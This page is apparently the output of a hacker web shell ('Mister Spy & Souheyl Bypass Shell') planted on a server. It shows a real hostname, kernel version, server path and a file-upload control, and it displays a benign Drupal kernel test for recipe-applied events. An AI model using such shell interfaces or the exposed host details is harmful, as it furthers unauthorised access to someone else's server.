Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/core/tests/Drupal/KernelTests/Core/Recipe/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/core/tests/Drupal/KernelTests/Core/Recipe/RecipeEventsTest.php

<?php

declare(strict_types=1);

namespace Drupal\KernelTests\Core\Recipe;

use Drupal\Core\DependencyInjection\ContainerBuilder;
use Drupal\Core\Recipe\Recipe;
use Drupal\Core\Recipe\RecipeAppliedEvent;
use Drupal\Core\Recipe\RecipeRunner;
use Drupal\KernelTests\KernelTestBase;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;

/**
 * @group Recipe
 */
class RecipeEventsTest extends KernelTestBase implements EventSubscriberInterface {

  /**
   * The human-readable names of the recipes that have been applied.
   *
   * @var string[]
   */
  private array $recipesApplied = [];

  /**
   * {@inheritdoc}
   */
  public static function getSubscribedEvents(): array {
    return [
      RecipeAppliedEvent::class => 'onRecipeApply',
    ];
  }

  public function onRecipeApply(RecipeAppliedEvent $event): void {
    $this->recipesApplied[] = $event->recipe->name;
  }

  /**
   * {@inheritdoc}
   */
  public function register(ContainerBuilder $container): void {
    parent::register($container);

    // Every time the container is rebuilt, ensure this object is subscribing to
    // events.
    $container->getDefinition('event_dispatcher')
      ->addMethodCall('addSubscriber', [$this]);
  }

  public function testRecipeAppliedEvent(): void {
    $recipe = Recipe::createFromDirectory('core/tests/fixtures/recipes/recipe_include');
    RecipeRunner::processRecipe($recipe);

    $this->assertSame(['Install node with config', 'Recipe include'], $this->recipesApplied);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net